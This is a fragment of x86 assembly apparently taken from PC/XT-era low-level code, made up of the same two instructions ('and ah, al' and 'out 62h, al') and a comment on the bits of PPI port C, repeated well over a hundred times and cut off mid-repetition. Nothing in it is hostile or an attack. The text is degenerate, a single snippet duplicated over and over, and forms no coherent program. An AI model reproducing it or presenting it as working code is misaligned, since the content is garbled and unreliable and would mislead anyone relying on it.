and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
